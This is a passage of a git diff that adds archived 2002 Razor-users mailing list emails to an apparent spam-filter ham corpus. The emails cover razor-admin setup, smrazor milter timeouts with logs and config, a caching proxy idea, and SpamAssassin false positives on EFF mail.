id + 17a13o-0005oI-00 for ; Wed, + 31 Jul 2002 14:31:12 -0700 +Received: (from schampeo@localhost) by habanero.hesketh.net + (8.11.6/8.11.1) id g6VLV5g20168 for razor-users@lists.sourceforge.net; + Wed, 31 Jul 2002 17:31:05 -0400 +X-Received-From: schampeo +X-Delivered-To: razor-users@example.sourceforge.net +X-Originating-Ip: [] +From: Steven Champeon +To: razor-users@example.sourceforge.net +Message-Id: <20020731173105.B19323@hesketh.com> +Mail-Followup-To: razor-users@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +Subject: [Razor-users] can't call method "log" issue - solution +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 17:31:05 -0400 +Date: Wed, 31 Jul 2002 17:31:05 -0400 + + +I see that Robert S. Wojciechowski Jr. posted about this issue on 7/26, +but I don't see any responses. I get that error when calling razor-report +from a sendmail alias, but not from the command line as a different user. +The way I solved it was to run + +razor-admin -create + +and + +razor-admin -discover + +with a -home argument set to the global /etc/razor directory, which is +explicitly specified in the args to the alias pipe. + +The manual page, which suggests that /etc/razor/razor-agent.conf will be +loaded first, does not also say that razor-admin will then create a +.razor directory in the user's home directory if it does not exist +(although this /is/ pointed out in the razor-agents(1) page. This may +lead to some minor confusion if the user is trying to set the discovery +and other defaults for a default (e.g., /etc/razor) install. The +workaround is as I say above, namely, explicitly specify the path to +razorhome on the command line, e.g. + +razor-admin -home=/etc/razor -create +razor-admin -home=/etc/razor -discover + +hth, +Steve + +-- +hesketh.com/inc. v: (919) 834-2552 f: (919) 834-2554 w: http://hesketh.com + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00557.06053871b532fd4092d223389440c36e b/bayes/spamham/easy_ham_2/00557.06053871b532fd4092d223389440c36e new file mode 100644 index 0000000..3e7a59f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00557.06053871b532fd4092d223389440c36e @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 1 02:56:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 81017440C9 + for ; Wed, 31 Jul 2002 21:56:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 02:56:14 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g711sj216407 for ; Thu, 1 Aug 2002 02:54:45 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a50U-0001ro-00; Wed, + 31 Jul 2002 18:44:02 -0700 +Received: from smtp-gw.dmv.com ([64.45.128.8]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17a4zd-0001Dp-00 for ; Wed, + 31 Jul 2002 18:43:09 -0700 +Received: from mail-gw.dmv.com (mail-gw.dmv.com [64.45.128.6]) by + smtp-gw.dmv.com (8.9.3/8.11.6) with ESMTP id VAA65641 for + ; Wed, 31 Jul 2002 21:43:05 -0400 (EDT) + (envelope-from sven@dmv.com) +Received: from homediet (dogpound.dyndns.org [64.45.134.154]) by + mail-gw.dmv.com (8.11.6/8.11.6) with SMTP id g711r8e74713 for + ; Wed, 31 Jul 2002 21:53:08 -0400 (EDT) + (envelope-from sven@dmv.com) +Message-Id: <00df01c238fc$f04ac060$0201a8c0@homediet> +From: "Sven" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Razor-users] Smrazor, Milter, and Max connections +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 21:44:08 -0400 +Date: Wed, 31 Jul 2002 21:44:08 -0400 + +With v2.14 of razor client and using Solaris 9 with sendmail 8.12.5 I have +managed to get smrazor working (milter) -- sort of ... With light server +loads, it seems to do fine; however during peak traffic times (or peak +catalogue server usage???) , the smrazor milter stops and sometime dumps +core as well. Does anyone know of a limit in terms of number of +messages/minute that can be theoretically processed? I have noticed timeouts +occuring (I set the milter timeout per message to 15 seconds) often in huge +lumps and the occasional "Could not get valid info from Discovery Servers") +????? + +I am not using procmail because this [cluster of] server is a gateway on to +5 different pop3 servers (5 different domains), ergo, local users won't work +because of overlapping usernames ...(or insanely huge virtusertable to alias +mappings .....) + +Alternatively does anyone have a working, high-capacity milter for this or +any other related ideas??? + +Sven + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00558.431af6feeeb2828bd7e49e10db4f6b36 b/bayes/spamham/easy_ham_2/00558.431af6feeeb2828bd7e49e10db4f6b36 new file mode 100644 index 0000000..03be437 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00558.431af6feeeb2828bd7e49e10db4f6b36 @@ -0,0 +1,90 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 1 03:47:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5C06C440C9 + for ; Wed, 31 Jul 2002 22:47:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 03:47:07 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g712g3217445 for ; Thu, 1 Aug 2002 03:42:03 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a5kx-0003kF-00; Wed, + 31 Jul 2002 19:32:03 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17a5kk-00009h-00 for + ; Wed, 31 Jul 2002 19:31:50 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g712Vkp18022; Wed, 31 Jul 2002 19:31:46 -0700 +From: Vipul Ved Prakash +To: Sven +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Smrazor, Milter, and Max connections +Message-Id: <20020731193146.B17700@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Sven , + razor-users@lists.sourceforge.net +References: <00df01c238fc$f04ac060$0201a8c0@homediet> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <00df01c238fc$f04ac060$0201a8c0@homediet>; from sven@dmv.com + on Wed, Jul 31, 2002 at 09:44:08PM -0400 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 19:31:46 -0700 +Date: Wed, 31 Jul 2002 19:31:46 -0700 + +On Wed, Jul 31, 2002 at 09:44:08PM -0400, Sven wrote: +> With v2.14 of razor client and using Solaris 9 with sendmail 8.12.5 I have +> managed to get smrazor working (milter) -- sort of ... With light server +> loads, it seems to do fine; however during peak traffic times (or peak +> catalogue server usage???) , the smrazor milter stops and sometime dumps +> core as well. Does anyone know of a limit in terms of number of +> messages/minute that can be theoretically processed? I have noticed timeouts +> occuring (I set the milter timeout per message to 15 seconds) often in huge +> lumps and the occasional "Could not get valid info from Discovery Servers") +> ????? + +15 seconds is more than enough timeout... There's no request/minute limit, +and we are not close to hardware limits on any of the servers. + +Could you send me relevant sections from the log file as well as +your config? + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00559.21c70c91d59b138e27edf65c13a6b78b b/bayes/spamham/easy_ham_2/00559.21c70c91d59b138e27edf65c13a6b78b new file mode 100644 index 0000000..1030f2c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00559.21c70c91d59b138e27edf65c13a6b78b @@ -0,0 +1,190 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 1 04:27:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C31AC440A8 + for ; Wed, 31 Jul 2002 23:27:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 04:27:41 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g713RR218337 for ; Thu, 1 Aug 2002 04:27:27 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a6ST-0006NG-00; Wed, + 31 Jul 2002 20:17:01 -0700 +Received: from smtp-gw.dmv.com ([64.45.128.8]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17a6Ra-0003Mm-00 for ; Wed, + 31 Jul 2002 20:16:06 -0700 +Received: from mail-gw.dmv.com (mail-gw.dmv.com [64.45.128.6]) by + smtp-gw.dmv.com (8.9.3/8.11.6) with ESMTP id XAA91180; Wed, 31 Jul 2002 + 23:16:05 -0400 (EDT) (envelope-from sven@dmv.com) +Received: from homediet (dogpound.dyndns.org [64.45.134.154]) by + mail-gw.dmv.com (8.11.6/8.11.6) with SMTP id g713Q8e80425; Wed, + 31 Jul 2002 23:26:08 -0400 (EDT) (envelope-from sven@dmv.com) +Message-Id: <00e701c23909$ee063bb0$0201a8c0@homediet> +From: "Sven" +To: +Cc: +References: <00df01c238fc$f04ac060$0201a8c0@homediet> + <20020731193146.B17700@rover.vipul.net> +Subject: Re: [Razor-users] Smrazor, Milter, and Max connections +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 31 Jul 2002 23:17:07 -0400 +Date: Wed, 31 Jul 2002 23:17:07 -0400 + + +----- Original Message ----- +From: "Vipul Ved Prakash" +To: "Sven" +Cc: +Sent: Wednesday, July 31, 2002 10:31 PM +Subject: Re: [Razor-users] Smrazor, Milter, and Max connections + + +> On Wed, Jul 31, 2002 at 09:44:08PM -0400, Sven wrote: +> > With v2.14 of razor client and using Solaris 9 with sendmail 8.12.5 I +have +> > managed to get smrazor working (milter) -- sort of ... With light server +> > loads, it seems to do fine; however during peak traffic times (or peak +> > catalogue server usage???) , the smrazor milter stops and sometime dumps +> > core as well. Does anyone know of a limit in terms of number of +> > messages/minute that can be theoretically processed? I have noticed +timeouts +> > occuring (I set the milter timeout per message to 15 seconds) often in +huge +> > lumps and the occasional "Could not get valid info from Discovery +Servers") +> > ????? +> +> 15 seconds is more than enough timeout... There's no request/minute limit, +> and we are not close to hardware limits on any of the servers. +> +> Could you send me relevant sections from the log file as well as +> your config? +> +>>From the maillog: +Jul 31 22:52:20 cartman sendmail[21081]: [ID 801593 mail.error] +g712pocb021081: Milter (smrazor): timeout before data read +Jul 31 22:52:20 cartman sendmail[21081]: [ID 801593 mail.info] +g712pocb021081: Milter (smrazor): to error state +Jul 31 22:52:22 cartman sendmail[21091]: [ID 801593 mail.error] +g712pocb021091: Milter (smrazor): timeout before data read +Jul 31 22:52:22 cartman sendmail[21091]: [ID 801593 mail.info] +g712pocb021091: Milter (smrazor): to error state + +>>From razor-agents.log +Jul 31 17:35:43.637025 check[21171]: [ 1] razor-check error: nextserver: +discover0: bootstrap_discovery: +Jul 31 17:35:43.987175 check[21168]: [ 1] razor-check error: nextserver: +discover0: bootstrap_discovery: +Jul 31 18:36:34.652485 check[8241]: [ 1] razor-check error: nextserver: +Could not get valid info from Discovery Servers +Jul 31 22:01:09.162201 check[9973]: [ 1] razor-check error: nextserver: +Could not get valid info from Discovery Servers + +>>From smrazor.err +[07/31/2002 22:52:22] (1144) Error reading from razor-check (156a78) +(21092): timeout +[07/31/2002 22:52:42] (1144) Error reading from razor-check (16b948) +(21221): timeout +[07/31/2002 22:52:42] (1144) Error reading from razor-check (165348) +(21227): timeout +[07/31/2002 22:57:21] (1144) Error reading from razor-check (16d118) +(22911): timeout + +razor-agent.conf +# +# Razor2 config file +# +# Autogenerated by Razor-Agents v2.14 +# Wed Jul 31 11:38:43 2002 +# Created with all default values +# +# see razor-agent.conf(5) man page +# + +debuglevel = 3 +identity = identity +ignorelist = 0 +listfile_catalogue = servers.catalogue.lst +listfile_discovery = servers.discovery.lst +listfile_nomination = servers.nomination.lst +logfile = /var/log/razor-agent.log +min_cf = ac +razorhome = /etc/razor +razorzone = razor2.cloudmark.com +rediscovery_wait = 172800 +report_headers = 1 +turn_off_discovery = 0 +use_engines = 1,2,3,4 +whitelist = razor-whitelist + +Realizing that the above, after looking at it, is pretty much no help, +changed debug to 9 and output the results to a text file. It is attached but +the crux of the messages resemble: +Jul 31 23:11:14.633544 check[5689]: [ 7] Can't read file +servers.discovery.lst, looking relatve to +Jul 31 23:11:14.634218 check[5689]: [ 5] Can't read file +/servers.discovery.lst: No such file or directory + or +Jul 31 23:07:19.115412 check[26156]: [ 6] no discovery listfile: +servers.discovery.lst +Jul 31 23:07:19.115878 check[26156]: [ 5] Finding Discovery Servers via DNS +in the razor2.cloudmark.com zone +Jul 31 23:07:19.174862 check[26155]: [ 8] Connection established +Jul 31 23:07:19.175667 check[26155]: [ 4] 216.52.13.90 >> 29 server +greeting: sn=N&srl=30&ep4=7542-10&a=l +Jul 31 23:07:19.176887 check[26155]: [ 4] 216.52.13.90 << 12 +Jul 31 23:07:19.177344 check[26155]: [ 6] a=g&pm=csl +Jul 31 23:07:19.214020 check[26124]: [ 6] Found 1 Discovery Servers via DNS +in the razor2.cloudmark.com zone +Jul 31 23:07:19.214729 check[26124]: [ 8] Checking with Razor Discovery +Server 216.52.13.90 +Jul 31 23:07:19.215383 check[26124]: [ 6] No proper port specified, using +2703 +Jul 31 23:07:19.215833 check[26124]: [ 5] Connecting to 216.52.13.90 ... + +It would appear that even though there is a specified home directory, +razor-check cannot read the .lst files and must apparently run discovery at +each lookup????? + +This, btw, is occuring on two separate servers ... + +Sven + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00560.c78137c1f7c46d509629b5283860497f b/bayes/spamham/easy_ham_2/00560.c78137c1f7c46d509629b5283860497f new file mode 100644 index 0000000..963a234 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00560.c78137c1f7c46d509629b5283860497f @@ -0,0 +1,72 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 2 11:38:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E2CD5440F7 + for ; Fri, 2 Aug 2002 06:38:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 11:38:45 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g72AWV216689 for ; Fri, 2 Aug 2002 11:32:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17aZW7-0005LM-00; Fri, + 02 Aug 2002 03:18:43 -0700 +Received: from mail014.syd.optusnet.com.au ([210.49.20.172]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17aXqo-0002wG-00 for ; Fri, + 02 Aug 2002 01:31:58 -0700 +Received: from dennis (c18584.rivrw1.nsw.optusnet.com.au [211.28.44.179]) + by mail014.syd.optusnet.com.au (8.11.1/8.11.1) with SMTP id g728VeH24912 + for ; Fri, 2 Aug 2002 18:31:40 +1000 +Message-Id: <003101c239ff$05bf44e0$3d00a8c0@dennis> +From: "zenn" +To: +References: <7njikuo9efrl4s4gvs5od9vt3eleto20ee@localhost> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Razor-users] razor-cache ? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 18:31:38 +1000 +Date: Fri, 2 Aug 2002 18:31:38 +1000 + +suggestion... +as I see it, there is a valid need for a "razor-cache" server that is +available to the local smtp host... +recursiveness would also be a nice feature, giving us the option to link +caches to offload the burden on the razor servers... +it could also allow us to setup local razor caches for private networks that +can bypass the razor servers all together... +any commensts ? + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00561.3e703cebc65221a731b98dc16d963d94 b/bayes/spamham/easy_ham_2/00561.3e703cebc65221a731b98dc16d963d94 new file mode 100644 index 0000000..7504864 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00561.3e703cebc65221a731b98dc16d963d94 @@ -0,0 +1,101 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 2 16:33:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D025444107 + for ; Fri, 2 Aug 2002 11:32:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:32:38 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72FK8E01112 for + ; Fri, 2 Aug 2002 16:20:08 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id QAA04241 for + ; Fri, 2 Aug 2002 16:03:59 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17adne-0003u0-00; Fri, + 02 Aug 2002 07:53:06 -0700 +Received: from 12.ws.pa.net ([206.228.70.126] helo=sparrow.stearns.org) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17adnI-0004De-00 for ; Fri, + 02 Aug 2002 07:52:46 -0700 +Received: from localhost (localhost [127.0.0.1]) by sparrow.stearns.org + (8.11.6/8.11.6) with ESMTP id g72Epxb22418; Fri, 2 Aug 2002 10:52:01 -0400 +From: William Stearns +X-X-Sender: wstearns@sparrow +Reply-To: William Stearns +To: zenn +Cc: ML-razor-users , + William Stearns , + Jordan Ritter +Subject: Re: [Razor-users] razor-cache ? +In-Reply-To: <003101c239ff$05bf44e0$3d00a8c0@dennis> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 10:51:58 -0400 (EDT) +Date: Fri, 2 Aug 2002 10:51:58 -0400 (EDT) + +Good day, zenn, + +On Fri, 2 Aug 2002, zenn wrote: + +> as I see it, there is a valid need for a "razor-cache" server that is +> available to the local smtp host... +> recursiveness would also be a nice feature, giving us the option to link +> caches to offload the burden on the razor servers... +> it could also allow us to setup local razor caches for private networks that +> can bypass the razor servers all together... +> any commensts ? + + http://www.stearns.org/razor-caching-proxy/ is what you're looking +for for the razor1 protocol. The equivalent for razor2 is on hold pending +documentation of the razor2 protocol. + Jordan, is that still in the "finishing touches" stage? *smile* +I'm betting that the infinite demands of getting a startup going put it on +the back burner. Please let me know if I can help; if you need someone to +check it over, I'd be glad to do that. + Cheers, + - Bill + +--------------------------------------------------------------------------- + "Power concedes nothing without a demand. It never did, and it +never will. Find out just what people will submit to, and you have +found out the exact amount of injustice and wrong which will be imposed +upon them; and these will continue until they are resisted with either +words or blows, or with both. The limits of tyrants are prescribed by +the endurance of those whom they oppress." + -- Frederick Douglass, August 4, 1857 +(Courtesy of Eric S. Raymond) +-------------------------------------------------------------------------- +William Stearns (wstearns@pobox.com). Mason, Buildkernel, named2hosts, +and ipfwadm2ipchains are at: http://www.stearns.org +-------------------------------------------------------------------------- + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00562.0f377593022357878ec2249f0c9a5f08 b/bayes/spamham/easy_ham_2/00562.0f377593022357878ec2249f0c9a5f08 new file mode 100644 index 0000000..aa9fed8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00562.0f377593022357878ec2249f0c9a5f08 @@ -0,0 +1,201 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 11:07:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CC1C54411F + for ; Tue, 6 Aug 2002 06:02:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:02:53 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g72ML1v14021 for ; Fri, 2 Aug 2002 23:21:01 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17akgL-00040Q-00; Fri, + 02 Aug 2002 15:14:01 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17akeJ-0003q4-00 for + ; Fri, 02 Aug 2002 15:11:55 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g72MBpH23056; Fri, 2 Aug 2002 15:11:51 -0700 +From: Vipul Ved Prakash +To: Marc Perkel +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] False Positives on EFF Messages +Message-Id: <20020802151150.A23016@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: Marc Perkel , + razor-users@lists.sf.net +References: <3D4B0146.20604@perkel.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <3D4B0146.20604@perkel.com>; from marc@perkel.com on Fri, + Aug 02, 2002 at 03:01:42PM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 15:11:50 -0700 +Date: Fri, 2 Aug 2002 15:11:50 -0700 + +Hi Marc, + +There have been several changes in the trust system recently. We'll start +seeing confidence values published with signatures from tomorrow morning +(around 4AM). This should be resolved then. Please revoke anything you +don't consider spam. It reduces the trust of the person who reported it as +well as the confidence of the signature. + +cheers, +vipul. + +On Fri, Aug 02, 2002 at 03:01:42PM -0700, Marc Perkel wrote: +> Hi everyone, +> +> I'm the systems admin for the Electronic Frontier Foundation and I'm using razor +> running under spam assassin there and one my own personal server. Generally it +> works fine with near 0 false positives - except - that almost all the false +> positives I've seen are on messages that originated at EFF. +> +> So - I am wondering why RAZOR is catching EFF email and how is this happening. +> Below is an example of what I'm talking about. +> +> --------------------------------- +> +> Envelope-to: pcn@virtualrecordings.com +> X-Sender: robin@mail.eff.org +> X-Mailer: QUALCOMM Windows Eudora Version 5.1 +> To: eff-ip@eff.org +> From: Robin Gross +> Subject: [E-IP] HP backs off DMCA threat - CNET.com +> Sender: eff-ip-admin@eff.org +> X-BeenThere: eff-ip@eff.org +> X-Mailman-Version: 2.0.11 +> List-Unsubscribe: , +> +> List-Id: Intelectual Property +> List-Post: +> List-Help: +> List-Subscribe: , +> +> List-Archive: +> X-Original-Date: Fri, 02 Aug 2002 10:15:12 -0700 +> Date: Fri, 02 Aug 2002 10:15:12 -0700 +> X-Spam-Status: Yes, hits=7.1 required=5.0 +> tests=MAILTO_LINK,RAZOR_CHECK +> version=2.40 +> X-Spam-Flag: YES +> X-Spam-Level: ******* +> X-Spam-Checker-Version: SpamAssassin 2.40 (devel $Id: SpamAssassin.pm,v 1.108 +> 2002/07/29 16:25:10 jmason Exp $) +> X-Spam-Report: Detailed Report +> SPAM: -------------------- Start SpamAssassin results ---------------------- +> SPAM: This mail is probably spam. The original message has been altered +> SPAM: so you can recognise or block similar unwanted mail in future. +> SPAM: See http://spamassassin.org/tag/ for more details. +> SPAM: +> SPAM: Content analysis details: (7.1 hits, 5 required) +> SPAM: MAILTO_LINK (0.1 points) BODY: Includes a URL link to send an +> email +> SPAM: RAZOR_CHECK (7.0 points) Listed in Razor, see +> 